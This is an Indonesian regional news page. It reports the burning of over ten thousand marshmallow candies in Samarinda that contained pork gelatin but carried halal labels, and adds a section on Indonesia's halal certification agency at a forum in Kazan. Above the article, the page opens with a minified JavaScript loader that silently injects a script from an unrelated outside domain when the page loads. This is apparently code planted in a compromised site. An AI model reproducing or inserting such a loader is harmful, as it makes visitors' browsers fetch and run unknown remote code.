(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Timur

Mengandung Gelatin Babi, Ribuan Permen Marshmallow di Samarinda Dimusnahkan


KANALKALIMANTAN.COM, SAMARINDA – Ribuan produk makanan anak sejenis permen yang mengandung unsur gelatin babi telah dimusnahkan dengan cara dibakar di Kota Samarinda, Kalimantan Timur.

Kepala Dinas Perindustrian, Perdagangan, Koperasi, dan UKM (DPPKUKM) Provinsi Kalimantan Timur, Heni Purwaningsih menjelaskan, pemusnahan tersebut dilaksanakan oleh PT Delta Anugerah Indonesia di kawasan Jalan Batu Besuang, Sempaja, Samarinda.

Barang yang dimusnahkan merupakan hasil tindak lanjut pengawasan produk makanan oleh timnya terhadap produk marshmallow pada 6 Mei 2025.

Sebanyak 10.753 permen marshmallow dengan tiga merek berbeda Car Mallow, Flower Mallow, dan Mini Marshmallow.

Baca juga: Terjerat Pinjol, OJK Beri Batas Bunga dan Cara Melapor

Diketahui tidak memenuhi standar kehalalan makanan, karena mengandung gelatin babi, namun tetap mencantumkan label halal.

Oleh karena itu, produk tersebut perlu ditarik dan dimusnahkan demi melindungi konsumen, khususnya masyarakat Muslim.

Heni Purwaningsih menyampaikan bahwa kegiatan ini merupakan langkah nyata pemerintah bersama pelaku usaha untuk menjaga sistem perdagangan yang bersih dan sesuai aturan.

“Dinas PPKUKM Provinsi Kalimantan Timur bersama BPJPH Kaltim dan pelaku usaha menyaksikan langsung pemusnahan produk yang teridentifikasi mengandung porcine, yang merupakan bahan diragukan kehalalannya. Maka hari ini kita lakukan pemusnahan terhadap varian produk yang diduga mengandung bahan tidak halal tersebut,” jelas Heni.

Baca juga: Kembali Telan Nyawa, Ahmad Humaidi Tertimbun Longsor di Pendulangan Intan Cempaka

Menurut Heni, langkah ini adalah bentuk komitmen pemerintah dan pelaku usaha dalam mewujudkan perdagangan barang dan jasa yang sesuai aturan, sekaligus bentuk tanggung jawab terhadap komoditi yang dipasarkan.

“Sebagai hasil temuan bersama BPJPH (Badan Penyelenggara Jaminan Produk Halal), produk yang mengandung bahan tidak halal wajib ditarik dan dimusnahkan sesuai peraturan perundang-undangan,” tambahnya.

Ia berharap dengan tindakan tegas tersebut masyarakat bisa semakin yakin bahwa pemerintah dan pelaku usaha memiliki komitmen kuat untuk mewujudkan perdagangan yang transparan, jujur, dan bertanggung jawab.

Pemusnahan ini juga dihadiri oleh perwakilan Dinas Disperindagkop UKM Provinsi Kaltim dan tim dari BPJPH Kaltim, sebagai bentuk pengawasan dan dukungan terhadap penegakan regulasi produk halal di Indonesia.

Baca juga: Puncak Festival Literasi ke-5 Banjarbaru, Tak Sekadar Tumbuhkan Minat Baca

Produk Halal 

Badan Penyelenggara Jaminan Produk Halal (BPJPH) memperkuat peran Indonesia dalam ekosistem halal global. Melalui keikutsertaannya pada ajang “Russia-Islamic World: Kazan Forum 2025” yang berlangsung pada 13-18 Mei 2025, di Kazan, Rusia.

Kepala BPJPH Ahmad Haikal Hasan mengatakan forum internasional ini menjadi momentum penting bagi BPJPH. Untuk memperkenalkan potensi besar Indonesia dalam industri halal, sekaligus memperkuat posisi Indonesia. Sebagai mitra strategis dalam pengembangan standar halal internasional.

“Sebagai negara dengan jumlah penduduk Muslim terbesar di dunia, Indonesia memiliki visi untuk menjadi pusat produsen halal global. Melalui BPJPH, kami terus mendorong penguatan dan harmonisasi standardisasi halal agar produk halal semakin kompetitif di pasar internasional,” kata Haikal dalam keterangannya yang diterima di Jakarta, Minggu.

Dalam kesempatan itu, Haikal juga berbicara tentang strategi industri halal global, hingga mekanisme rekognisi Russian Halal Certification Bodies dan berbagai potensi yang dapat dikerjasamakan.

Baca juga: Malam Penentuan dan Nostalgia: Apakah Fajar atau Shabrina Sang The Next Indonesian Idol XIII?

Selain itu, ia juga menegaskan pentingnya kolaborasi internasional untuk menciptakan standar halal yang kredibel dan saling diakui.

Di Indonesia, ekosistem halal dibangun melalui berdirinya lembaga halal di bawah otoritas pemerintah, yaitu BPJPH.

Yang diatur dalam UU No. 33/2014 tentang Jaminan Produk Halal pun dengan layanan sertifikasi halal yang mudah.

“Konsep halal telah bertransformasi bukan lagi hanya tentang agama, tetapi juga menjadi standar global untuk peradaban modern, kualitas, kesehatan, kebersihan, etika, kesejahteraan hewani, kepercayaan, dan keberlanjutan,” kata Haikal. (Kanalkalimantan/Suara.com)

Editor: kk


Risa

Recent Posts

Shopping Funtastic 2025 Tarik Pengunjung Lebih Besar, Catat 125 Ribu Kupon Undian

KANALKALIMANTAN.COM, BANJARBARU - Program belanja menarik dengan tajuk Shopping Funtastic 2025 resmi ditutup manajemen Q… Read More

10 jam ago

Potensi Bikin Jalan Ir PM Noor Terganggu, Lapak Durian Sungai Ulin Diberi Teguran

KANALKALIMANTAN.COM, BANJARBARU - Petugas gabungan dari Dinas Perhubungan dan Satuan Polisi Pamong Praja Kota Banjarbaru… Read More

11 jam ago

Urbanisasi, Pembangunan IKN dan Dampak Ikutannya

Oleh: Cheryl Rinjani Eileen Manurung, Prodi Geografi, ULM Read More

19 jam ago

Baznas Balangan Salurkan Bantuan untuk Masyarakat Berbagai Bidang

KANALKALIMANTAN.COM, PARINGIN - Badan Amil Zakat Nasional (Baznas) Kabupaten Balangan menyalurkan berbagai program bantuan di… Read More

19 jam ago

Balangan Raih Kabupaten Terinovatif Indeks Inovasi Daerah IGA 2025

KANALKALIMANTAN.COM, PARINGIN – Kabupaten Balangan berhasil meraih predikat kabupaten terinovatif dengan Indeks Inovasi Daerah (IID)… Read More

19 jam ago

Turnamen Gila Basket Tutup Tahun 2025 di Lapangan Rebatig

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Erna Lisa Halaby membuka kompetisi basket menutup tahun 2025… Read More

20 jam ago

This website uses cookies.